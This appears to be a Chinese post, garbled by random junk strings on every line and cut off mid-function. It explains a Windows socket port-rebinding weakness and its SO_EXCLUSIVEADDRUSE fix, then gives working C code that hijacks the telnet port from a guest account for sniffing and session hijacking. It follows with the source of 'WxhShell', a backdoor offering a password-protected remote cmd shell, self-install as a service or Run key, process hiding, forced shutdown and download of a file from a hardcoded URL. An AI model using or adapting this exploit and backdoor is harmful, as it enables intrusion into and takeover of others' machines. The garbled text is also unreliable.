在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
?uqPye1fc s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
lhJZPnx~ I sB=G-s saddr.sin_family = AF_INET;
e}W|wJ):j@ MH_3nN saddr.sin_addr.s_addr = htonl(INADDR_ANY);
=' #yG(h o$,e#q)8 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
(/Dr=D{ ` &, WQr 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
}%k3 |(rTz!!- 这意味着什么?意味着可以进行如下的攻击:
-{S:sK.o bF? { 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
O.OSLezTQ R(DlJ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Z=>#|pW,) [xg&`x9,. 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
&13#/ ,c[f/sT\ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
^es/xt TllIs&MCe 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
!"N-To-c "TePO7^m 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
SFa~j)9'n G^_fbrZjN 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
;bes#|^F @ykM98K #include
Y%)@)$sK #include
[V.#w|n #include
x8E!Ko]( #include
^Euqy,8} DWORD WINAPI ClientThread(LPVOID lpParam);
_9b;8%?Yf int main()
:/FT>UCL {
OG}m+K&< WORD wVersionRequested;
p*"H&xA@ DWORD ret;
tD\%SiTg=b WSADATA wsaData;
%P-z3 0FHp BOOL val;
|fg{Fpc SOCKADDR_IN saddr;
uY Y{M` SOCKADDR_IN scaddr;
%v 1NDhaXz int err;
53X5&Bwh SOCKET s;
^jZ4tH3K SOCKET sc;
SpiI9)gp int caddsize;
RS[>7-9 HANDLE mt;
m8<l2O=m DWORD tid;
/l$>W<}@ wVersionRequested = MAKEWORD( 2, 2 );
^%k[YJtB=i err = WSAStartup( wVersionRequested, &wsaData );
KcNh3CR if ( err != 0 ) {
tu0agSpU printf("error!WSAStartup failed!\n");
$&[}+?? return -1;
k\wI^D }
h[I~D`q)v saddr.sin_family = AF_INET;
*S=zJyAO v6`TbIq% //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
#&ZwQw ([L5i&DT saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
7>>6c7e saddr.sin_port = htons(23);
D\i8WU if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
DZ~qk+,I {
V50FX}i printf("error!socket failed!\n");
.l(t\BfE~ return -1;
Ud[Zv?tA: }
"] 0sR val = TRUE;
a}MSA/K( //SO_REUSEADDR选项就是可以实现端口重绑定的
^+zhzfJ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
+Q6}kbDI {
XhEd9># printf("error!setsockopt failed!\n");
maR5hgWCHe return -1;
([a[fi }
DKxzk~sOM //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
XKt">W //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
tW|K\NL //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Km9Y_`? yYM_ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
XF 8$D {
YFY$iN~B, ret=GetLastError();
0755;26Bx printf("error!bind failed!\n");
WN%KATA return -1;
7BDRA},o }
?XNQ_m8f listen(s,2);
*iVCHQ~ while(1)
WbW@V_rr {
bhWH caddsize = sizeof(scaddr);
jk'.Gz //接受连接请求
(( D*kd" sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
T,eP&IN if(sc!=INVALID_SOCKET)
,3tcti~sZ {
A$]&j5nh| mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
V)8d1S if(mt==NULL)
,Bg)p_B {
}^np printf("Thread Creat Failed!\n");
UBy<
vwnU break;
PtT=HvP!k }
g1s\6%g }
N-4k
9l1 CloseHandle(mt);
*.]M1 }
b7_uT`< closesocket(s);
ToWtltCD WSACleanup();
rG*Zp7{ return 0;
Y}pCBw }
mgxoM|n6 DWORD WINAPI ClientThread(LPVOID lpParam)
ufekhj {
mOkf SOCKET ss = (SOCKET)lpParam;
DlWnz- SOCKET sc;
P:gN"f6 unsigned char buf[4096];
;P#c! SOCKADDR_IN saddr;
_b8?_Zq long num;
5_MqpCL DWORD val;
\Gk4J< DWORD ret;
xF4>D!T%8 //如果是隐藏端口应用的话,可以在此处加一些判断
tgP x!5U //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Y]SX2kk(2 saddr.sin_family = AF_INET;
~Yw`w2 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
ZFAi 9M saddr.sin_port = htons(23);
,@1.&!F4it if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
"+6:vhP5 {
W+C@(}pt printf("error!socket failed!\n");
"V;5Lp b return -1;
feH|sz`e }
}Ra'`;D$ val = 100;
}yfSF|\ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
!F_BLHig {
DFKumw>! ret = GetLastError();
C Ahkv0?8 return -1;
Gw5j6
}
i,Q{Z@, if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ymxYE#q {
m.}Yn, ret = GetLastError();
5g{F- return -1;
YGj3W.eH }
Rt[zZv if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
t'@qb~sf {
F( w printf("error!socket connect failed!\n");
0~5'O[NhF closesocket(sc);
?x|8"*N closesocket(ss);
EN =oA P return -1;
0=2D90 }
;%_fQNFb while(1)
,(6U3W*bu {
l<]@5"wN //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
9,4Lb] //如果是嗅探内容的话,可以再此处进行内容分析和记录
LXIQpD,M //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
cnUYhxE+s num = recv(ss,buf,4096,0);
8$H_:*A? if(num>0)
d3$&I==;: send(sc,buf,num,0);
YtzB/q8I else if(num==0)
/"Bm1 break;
j}2,|9ne num = recv(sc,buf,4096,0);
$:#{Y;d if(num>0)
8%dE$smH send(ss,buf,num,0);
){PL6|5x else if(num==0)
BixKK$Lo break;
&3SQVOW ~T }
)L*6xTa~ closesocket(ss);
{PXN$p:' closesocket(sc);
GtC bzNY return 0 ;
]5+db0 }
lm?1 K:+[ L|7F%oR Q!%4Iq%jr ==========================================================
"t-u=aDl-. b#:Pl`n6u 下边附上一个代码,,WXhSHELL
}E\ b_. /$
-^k[% ==========================================================
vakAl; $\0%"S #include "stdafx.h"
PfaBzi9?f J;K-Pv+ #include <stdio.h>
Fo=hL #include <string.h>
"pDwN$c #include <windows.h>
FZW)C'j #include <winsock2.h>
FY^[?lj #include <winsvc.h>
dU7+rc2,CU #include <urlmon.h>
(QPfrR=J4 BrdHTk= Vy #pragma comment (lib, "Ws2_32.lib")
Ye '=F #pragma comment (lib, "urlmon.lib")
x*G-?Xza) CLb~6LD #define MAX_USER 100 // 最大客户端连接数
+izB(E8&{J #define BUF_SOCK 200 // sock buffer
x-Kq=LFy. #define KEY_BUFF 255 // 输入 buffer
[Ch)6p [7Yfv
Xp #define REBOOT 0 // 重启
;^9A o>(?y #define SHUTDOWN 1 // 关机
CnJrJ>l t8Sblgq #define DEF_PORT 5000 // 监听端口
{Lex(( om`x"x&6 #define REG_LEN 16 // 注册表键长度
Ag3[Nu1 #define SVC_LEN 80 // NT服务名长度
,X[lC\1a Z'P>sV // 从dll定义API
{&2aH>V/ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Q-3o k7 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
h}X^ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
? 1OZEzA! typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
/B$9B `aj;FrF // wxhshell配置信息
7X
h'VOljB struct WSCFG {
Op&i6V}<s int ws_port; // 监听端口
h&$7^P char ws_passstr[REG_LEN]; // 口令
td:GZ % int ws_autoins; // 安装标记, 1=yes 0=no
E4a`cGb char ws_regname[REG_LEN]; // 注册表键名
3yWu-U \k char ws_svcname[REG_LEN]; // 服务名
As&=Pb9 char ws_svcdisp[SVC_LEN]; // 服务显示名
)T-C/ 3 char ws_svcdesc[SVC_LEN]; // 服务描述信息
He#5d!cf:M char ws_passmsg[SVC_LEN]; // 密码输入提示信息
xz-z"
8d int ws_downexe; // 下载执行标记, 1=yes 0=no
uQwKnD?F+e char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Xknp*(9 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
<5R`E( rOt`5_2f };
C%$:Oq 7oPLO(0L // default Wxhshell configuration
Y#>'.$(Az struct WSCFG wscfg={DEF_PORT,
C@{#OOa "xuhuanlingzhe",
wABaNB=9; 1,
hL1q9% "Wxhshell",
cs]N%M^s "Wxhshell",
OF$0]V "WxhShell Service",
[Yo3=(7J "Wrsky Windows CmdShell Service",
j.? '*?P "Please Input Your Password: ",
AY{-Hf& 1,
9~bl "
http://www.wrsky.com/wxhshell.exe",
PGaB U3 "Wxhshell.exe"
zYCrfr };
:[;]6;
1o&]=( // 消息定义模块
IFrq\H0 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
%\5wHT+) char *msg_ws_prompt="\n\r? for help\n\r#>";
3#{{+5G char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
83 O+`f char *msg_ws_ext="\n\rExit.";
{u3eel char *msg_ws_end="\n\rQuit.";
lzJ[ `i. char *msg_ws_boot="\n\rReboot...";
"pP5;*^f char *msg_ws_poff="\n\rShutdown...";
V-#OiMWa~ char *msg_ws_down="\n\rSave to ";
AqPE.mf T7vSp<i/ char *msg_ws_err="\n\rErr!";
{[r}&^K15 char *msg_ws_ok="\n\rOK!";
zG\g{cB ;.Lf9XJ char ExeFile[MAX_PATH];
qH3<,s* int nUser = 0;
F\' ^DtB HANDLE handles[MAX_USER];
N!7r~B
int OsIsNt;
.AEOf0t ZG=B'4W SERVICE_STATUS serviceStatus;
'S_kD! BO SERVICE_STATUS_HANDLE hServiceStatusHandle;
]}4{|& e !ke_?+8sY // 函数声明
wzLR]<6G int Install(void);
v35wlt^} int Uninstall(void);
-&4W0JK9 int DownloadFile(char *sURL, SOCKET wsh);
%9D$N
int Boot(int flag);
eBZa9X$ void HideProc(void);
G#V}9l8Q int GetOsVer(void);
XkB^.[B int Wxhshell(SOCKET wsl);
'dE G\?v9 void TalkWithClient(void *cs);
?\_N*NEtK int CmdShell(SOCKET sock);
'ZyHp=RN) int StartFromService(void);
1b4aY>
Z int StartWxhshell(LPSTR lpCmdLine);
RYU(z;+0p n5nV461U VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
@,Je*5$o" VOID WINAPI NTServiceHandler( DWORD fdwControl );
#41fRmzC HPc7Vo( // 数据结构和表定义
deD%E-Ja SERVICE_TABLE_ENTRY DispatchTable[] =
KfC8~{O- {
xM ]IU
< {wscfg.ws_svcname, NTServiceMain},
a&>Tk% {NULL, NULL}
q3+G };
J.
]~J|K :K%{?y // 自我安装
P3w]PG@ int Install(void)
2C9wOO {
:} r^sD char svExeFile[MAX_PATH];
W$&kOdD!$ HKEY key;
Au+SCj strcpy(svExeFile,ExeFile);
g[VVxp!C< R<}WNZl // 如果是win9x系统,修改注册表设为自启动
E0K'|* if(!OsIsNt) {
<E2+P,Lgw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
4@,d{qp~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Y{].%xM5 RegCloseKey(key);
{`Ekv/XWa if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
yY,O=yOjq RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
("2ukHc RegCloseKey(key);
l,FK\ return 0;
dXAKk[uf }
Kjbz\~ }
y`"~zq0D }
~7Ji+AJA else {
@"BvyS,p T*,kBJ // 如果是NT以上系统,安装为系统服务
*/=5m] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
a );> if (schSCManager!=0)
?k lV;+ {
.C
avb SC_HANDLE schService = CreateService
n^8LF9r (
#;Yn8'a~ schSCManager,
u{0'"jVJ wscfg.ws_svcname,
hkzyI~7 wscfg.ws_svcdisp,
[ vU$zZ< SERVICE_ALL_ACCESS,
I }AO_rtb SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
;#np~gL SERVICE_AUTO_START,
zd)2@jX= SERVICE_ERROR_NORMAL,
't2dP,u<- svExeFile,
\3P.G S{l NULL,
Da#|}m0> NULL,
(*63G4Nz\ NULL,
W~15[r0 NULL,
D- )jmz>R NULL
Lod$&k@@ );
TH_Vw,) if (schService!=0)
9N(<OY+Dgm {
Dq/ _#&S CloseServiceHandle(schService);
%B^nQbNDM CloseServiceHandle(schSCManager);
<V P@# strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
|yE_M-Nc strcat(svExeFile,wscfg.ws_svcname);
F...>%N$ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
(mq 7{;7y RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
JpVV0x/Q/_ RegCloseKey(key);
2ql7*g?Uq@ return 0;
+PC<# }
K&(}5`H0= }
"yR56`= CloseServiceHandle(schSCManager);
:3qA7D } }
&1hJ?uM01 }
&5&C
)^+v*=Dc-i return 1;
'}a[9v76 }
}s;W{Q ># FO0R // 自我卸载
8l|v#^v int Uninstall(void)
7
4rmxjiN {
h1 \)_jxA HKEY key;
3}::"X w H&Rjn if(!OsIsNt) {
_vA\j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
'</ RegDeleteValue(key,wscfg.ws_regname);
Jhbkp?Zli RegCloseKey(key);
OtuOT=% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
H-%)r&"vn RegDeleteValue(key,wscfg.ws_regname);
MF>1u% RegCloseKey(key);
27b7~! return 0;
S5:`fo^5 }
{e,m<mAi }
hw`+,_ g }
6x\+j else {
jd;=5(2 pm<zw- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
{r2-^QHF if (schSCManager!=0)
YQ>P{I%J {
;I'pC?!y SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
jKV,i? if (schService!=0)
w yO@oi
Vn {
XAuB .)| if(DeleteService(schService)!=0) {
Ya] qo] CloseServiceHandle(schService);
V}732?Jy CloseServiceHandle(schSCManager);
G!~[+B return 0;
<wwcPe} }
3 wVN:g7 CloseServiceHandle(schService);
kq6K<e4jO }
0dhJ# [Y CloseServiceHandle(schSCManager);
ZOl
=zn }
ZVotIQ/Q' }
B 95}_q Ij>x3L\- return 1;
{.9phW4Vr? }
jRXpEiM [07N<< // 从指定url下载文件
xw-x<7 int DownloadFile(char *sURL, SOCKET wsh)
z^
+CD- {
se](hu~w HRESULT hr;
;czMsHu0X char seps[]= "/";
iqCKVo7:M char *token;
hx$-d}W{ char *file;
Qg+0(odd char myURL[MAX_PATH];
)%8oE3O# char myFILE[MAX_PATH];
VXvr`U\ ;i`X&[y; strcpy(myURL,sURL);
zECdj'/ token=strtok(myURL,seps);
=p>"PqJ/7n while(token!=NULL)
P/._ tQu6 {
y|!%C-P file=token;
Xui${UYN token=strtok(NULL,seps);
gkS#=bv9e@ }
| ]`gps U6qv8*~ GetCurrentDirectory(MAX_PATH,myFILE);
@L|X('i strcat(myFILE, "\\");
k))*Sg strcat(myFILE, file);
'j=7'aX>K send(wsh,myFILE,strlen(myFILE),0);
TDg#O!DUF send(wsh,"...",3,0);
}~dXz?{p8 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
'>[KVvm if(hr==S_OK)
Mn+;3qo{6 return 0;
BDY@&vF else
X ^>o/U return 1;
oo7&.HWf XJnDx 09h }
2A@9jl s {O*<1v9< // 系统电源模块
*zX*k7LnV int Boot(int flag)
D"fE )@Q@Y {
WlP#L` HANDLE hToken;
MP, l*wVd TOKEN_PRIVILEGES tkp;
rAD5n,M] QLo^6S5! if(OsIsNt) {
W5*%n]s~ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
kNfqdCF{P LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
k{n*[)m tkp.PrivilegeCount = 1;
}AG$E}~/ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
ZjY_AbD AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
w[PWJ! < if(flag==REBOOT) {
HbF.doXK if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
MrjET!`.jC return 0;
9z5K -s }
+uW$/_Y$ else {
eSXt"t if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Okca6=2" return 0;
v'*Q[
(' }
U7J0& }
}(O/ y- else {
,s0 E]]( if(flag==REBOOT) {
^[XxE Lx if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
IXt2R~b return 0;
u814ZN} }
!c:Q+:,H else {
CFqoD l if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
*w4jE T> return 0;
X"b4U\A }
&$ F0 }
c"t1E-Nsk 8 f%@:}H return 1;
{
yU1db^ }
@lAOi1m,, ?*E Y~'I // win9x进程隐藏模块
v vlfL*f void HideProc(void)
>ZkcL7t9 {
T^NY|Y/ -@i)2J_WP HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
CmRn if ( hKernel != NULL )
AL! ^1hCF {
c&)H pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
$G5m/[KDI ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
`|wH= FreeLibrary(hKernel);
0IBVR,q }
[6BLC{2 /7*jH2 return;
lO8.Q"mxo }
F1R91V| sl|s#+Z // 获取操作系统版本
_3tHzDSG# int GetOsVer(void)
m3
; {
HKq 2X4J$ OSVERSIONINFO winfo;
@8Drhx winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
>5wA B GetVersionEx(&winfo);
v83uGEq( if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
u#%Ig3 return 1;
|8&AsQd else
5. :To2 return 0;
4C[,S|J }
fOJk+?
c Rp A76ug // 客户端句柄模块
93x.b]]" int Wxhshell(SOCKET wsl)
[{N
i94:d {
qLKyr@\' SOCKET wsh;
u_@%}zo?5* struct sockaddr_in client;
wxsJB2 DWORD myID;
twt
Bt L lf0/0KH while(nUser<MAX_USER)
\l{*1lQ` {
mW1Sd#0 int nSize=sizeof(client);
PTA;a0A wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
n)} J< if(wsh==INVALID_SOCKET) return 1;
8Nxf2i5 >NB}Bc handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
CSc*UX+ if(handles[nUser]==0)
_@;2h`q ? closesocket(wsh);
W)^:*z else
'15j$q nUser++;
BQSA;;n] }
yt>Pf<AI WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
ixBM>mRK <Nvw
w return 0;
-6~*:zg, }
Sn.I
]:l nen6!bw4 // 关闭 socket
E{T\51V]% void CloseIt(SOCKET wsh)
GWjKZ1p {
Jkpw8E7 closesocket(wsh);
XZcsx nUser--;
uA
C:& ExitThread(0);
h\'GL(?DBI }
H24g+<Tv y;0.P?Il" // 客户端请求句柄
`m3@mJ!>\ void TalkWithClient(void *cs)
90sM S]a {
2-llT Ms1G&NYP SOCKET wsh=(SOCKET)cs;
VT3Zo%X x char pwd[SVC_LEN];
Sx;zvc char cmd[KEY_BUFF];
c/;t.+g char chr[1];
Lj *FKP\{ int i,j;
}K~JM1(26 <B`}18x while (nUser < MAX_USER) {
{tOuKnnS 68FxM#xR if(wscfg.ws_passstr) {
6xdu}l=% if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
"1%<IqpU+ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
"x\3`Qk //ZeroMemory(pwd,KEY_BUFF);
_QvyFKAM i=0;
t8i"f L while(i<SVC_LEN) {
gywI@QD%# *Q!b%DIa$ // 设置超时
r{\cm
Ds fd_set FdRead;
[.6>%G1C struct timeval TimeOut;
mI9h| n FD_ZERO(&FdRead);
Zt lS*id_ FD_SET(wsh,&FdRead);
]|u}P2 TimeOut.tv_sec=8;
"oz@w'rG TimeOut.tv_usec=0;
7;CeQx/W)W int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
sB0+21'R if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
cnLC> _hY =#BeAsFfO if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
rO]C`bg pwd
=chr[0]; *!Am6\+
if(chr[0]==0xd || chr[0]==0xa) { yp@mxI@1
pwd=0; $k'f)E
break; rA`zuYo
} fEVuH]
i++; U&u7d$AN P
}
)[p8
V2g$"W?3
// 如果是非法用户,关闭 socket ljiq +tT
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); OzO_E8Kb\
} ]XPGlM
bx6@FKns}
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7[D0n7B@
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C{!Czz.N
*D AgcB
while(1) { g,,cV+
u`bWn
ZeroMemory(cmd,KEY_BUFF); n:*+pL;
Ne^#5 T
// 自动支持客户端 telnet标准 _Fz)2h,3
j=0; Ku&(+e
while(j<KEY_BUFF) { e3S6+H),I
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ++dV5
cmd[j]=chr[0]; ]G1j\ wnF
if(chr[0]==0xa || chr[0]==0xd) { t<`ar@}
cmd[j]=0; HhqqJEp0
break; U">OdoZ,E+
} dtF6IdAf
j++; @%#(Hse
} kk~{2
>,] #~d
// 下载文件 dtg Ja_
if(strstr(cmd,"http://")) { PU'v o4
send(wsh,msg_ws_down,strlen(msg_ws_down),0); OW-+23)sj
if(DownloadFile(cmd,wsh)) F)gL=6h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); vi5~ Rd`
else 5Q%#Z
L/'
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y\op9Fw
} E_H1X'|qS4
else { qL'3MY.!
Q'8v!/"}p{
switch(cmd[0]) { ?-i|f_`
c<H4rB
// 帮助 3zl!x
case '?': { 61mQJHl.
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 92SB'T>
break; ;JZXSM-3
} {xH
\!!"T
// 安装 /ZzlC#`
case 'i': { s]I],>}RU
if(Install()) 3R{-\ZMd
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;zCHEz
else TuF:m"4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B"qG-ci
break; 5=?&q 'i
} <;XJ::d
// 卸载 VKs\b-1
case 'r': { t%TZu>(1O
if(Uninstall()) c^bA]l^a
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }!d}febk_
else xO.7cSqgw
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .H>Rqikj
break; S 5d{dTPq
} q6ikJ8E8b
// 显示 wxhshell 所在路径 kl={L{r
case 'p': { 5sE^MS1
char svExeFile[MAX_PATH]; %bimcRX#W
strcpy(svExeFile,"\n\r"); y^nR=Q]_
strcat(svExeFile,ExeFile); eT|_0kx1
send(wsh,svExeFile,strlen(svExeFile),0); MO D4O4z&
break; 3jI.!xD`
} iM956 3v
// 重启 V\G>e{
case 'b': { A]J^{h0k
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =CVw0'yZ
if(Boot(REBOOT)) ko:I.6- K
send(wsh,msg_ws_err,strlen(msg_ws_err),0); va<+)b\
else { $`oA$E3
closesocket(wsh); QB.7n&u
ExitThread(0); ]u,~/Gy
} /Mk)H
d
break; YL.z|{\e
} y H'\<bT
// 关机 ~"wD4Ue
case 'd': { nY8UJy}<oL
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J~}UG]j n
if(Boot(SHUTDOWN)) |4c==7.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); e56#Qb@$\
else { ((5zwD
closesocket(wsh); XgbGC*dQ
ExitThread(0); 7*5ctc!dG
} ]lo1Kw
break; |H A7 C
} KF'M4P
// 获取shell Qnw$=L:
case 's': { J)G3Kq5>:b
CmdShell(wsh); y8 N b8m
closesocket(wsh); HUghl2L.<
ExitThread(0); l<HRD
break; C:K\-P9
} N:<O
// 退出 Z`*cI
case 'x': { $"i690
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vqs~a7E-P
CloseIt(wsh); ,,J3 h
break; C1/jA>XW
} ;FmSL#]I
// 离开 wY95|QS
case 'q': {
>ob/@
send(wsh,msg_ws_end,strlen(msg_ws_end),0); w|HZI,~
closesocket(wsh); w=`z!x![/
WSACleanup(); l+6\U6_)B
exit(1); @(
t:E`8
break; z(WpOD
} e?YbG.(E9
} y#0w\/<
} uaKB
A!D:Kc3
// 提示信息 .}E)7"Qi,
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lP
e$AI
} X\x9CA
} cOb%SC[A{
mQs$7t[>t
return; [z~Nw#
} W~tOH=9>
OeYLL4H
// shell模块句柄 @NIypi$T
int CmdShell(SOCKET sock) eqR#`
{ uI2'jEjO
STARTUPINFO si; f*],j
ZeroMemory(&si,sizeof(si)); (HI%C@e9
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _Pkh`}W:
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9qDGxW
'1
PROCESS_INFORMATION ProcessInfo; Dkb&/k:)
char cmdline[]="cmd"; bw\=F_>L
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (Pd>*G\
return 0; zl\#n:|
} P1wRt5
H1nQ.P]_
// 自身启动模式 vR$5ItnT
int StartFromService(void) &w0=/G/T=~
{ 0I((UA/7Zs
typedef struct kKM%
{ b..$5
DWORD ExitStatus; udFju&!W
DWORD PebBaseAddress; %?hLo8
DWORD AffinityMask; ku?_/-ko]
DWORD BasePriority; ]e.+u
ULONG UniqueProcessId; fO^6q1a
ULONG InheritedFromUniqueProcessId; u`@f~QP0
} PROCESS_BASIC_INFORMATION; h*UUtLi%WU
P;%QA+%7
